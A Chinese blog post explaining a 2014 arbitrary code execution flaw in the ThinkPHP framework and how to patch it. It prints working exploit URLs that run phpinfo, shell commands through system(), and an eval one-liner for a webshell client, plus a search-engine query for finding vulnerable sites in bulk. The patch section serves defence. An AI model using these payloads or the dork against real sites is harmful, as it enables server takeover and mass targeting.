ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
PHP实现的功能是显示8条基色色带
Oct 09 PHP
PHP中simplexml_load_string函数使用说明
Jan 01 PHP
php addslashes及其他清除空格的方法是不安全的
Jan 25 PHP
PHP版 汉字转码的实现详解
Jun 09 PHP
PHP获取和操作配置文件php.ini的几个函数介绍
Jun 24 PHP
ThinkPHP结合AjaxFileUploader实现无刷新文件上传的方法
Oct 29 PHP
Linux系统递归生成目录中文件的md5的方法
Jun 29 PHP
php上传图片获取路径及给表单字段赋值的方法
Jan 23 PHP
php bootstrap实现简单登录
Mar 08 PHP
遍历echsop的region表形成缓存的程序实例代码
Nov 01 PHP
浅谈php中curl、fsockopen的应用
Dec 10 PHP
Mac系统完美安装PHP7详细教程
Jun 06 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
如何将数据从文本导入到mysql
2006/10/09 PHP
php程序内部post数据的方法
2015/03/31 PHP
php编程每天必学之验证码
2016/03/03 PHP
thinkPHP5实现的查询数据库并返回json数据实例
2017/10/23 PHP
一次因composer错误使用引发的问题与解决
2019/03/06 PHP
laravel 执行迁移回滚示例
2019/10/23 PHP
JavaScript方法和技巧大全
2006/12/27 Javascript
ASP.NET jQuery 实例6 (实现CheckBoxList成员全选或全取消)
2012/01/13 Javascript
如何获取JQUERY AJAX返回的JSON结果集实现代码
2012/12/10 Javascript
jQuery插件jRumble实现网页元素抖动
2015/06/05 Javascript
jquery.mousewheel实现整屏翻屏效果
2015/08/30 Javascript
JS组件Bootstrap ContextMenu右键菜单使用方法
2016/04/17 Javascript
javascript回到顶部特效
2016/07/30 Javascript
windows下vue-cli及webpack搭建安装环境
2017/04/25 Javascript
基于Vue单文件组件详解
2017/09/15 Javascript
微信小程序倒计时功能实例代码
2018/07/17 Javascript
浅谈vue 单文件探索
2018/09/05 Javascript
小程序云开发初探(小结)
2018/10/24 Javascript
利用jqgrid实现上移下移单元格功能
2018/11/07 Javascript
eslint 的三大通用规则详解
2019/05/16 Javascript
[52:40]完美世界DOTA2联赛PWL S2 Magma vs GXR 第一场 11.29
2020/12/02 DOTA
python self,cls,decorator的理解
2009/07/13 Python
给Python的Django框架下搭建的BLOG添加RSS功能的教程
2015/04/08 Python
Python找出最小的K个数实例代码
2018/01/04 Python
详解Python3网络爬虫(二):利用urllib.urlopen向有道翻译发送数据获得翻译结果
2019/05/07 Python
python 如何快速复制序列
2020/09/07 Python
Html5 webRTC简单实现视频调用的示例代码
2020/09/23 HTML / CSS
百度吧主申请感言
2014/01/12 职场文书
法学自荐信
2014/06/20 职场文书
市贸粮局召开党的群众路线教育实践活动总结大会新闻稿
2014/10/21 职场文书
博士导师推荐信
2015/03/25 职场文书
2015年党员公开承诺事项
2015/04/27 职场文书
工作一年自我鉴定
2019/06/20 职场文书
浅谈mysql执行过程以及顺序
2021/05/12 MySQL
Python+Selenium实现抖音、快手、B站、小红书、微视、百度好看视频、西瓜视频、微信视频号、搜狐视频、一点号、大风号、趣头条等短视频自动发布
2022/04/13 Python
win11怎么消除图标小盾牌?win11消除图标小盾牌解决方法
2022/08/05 数码科技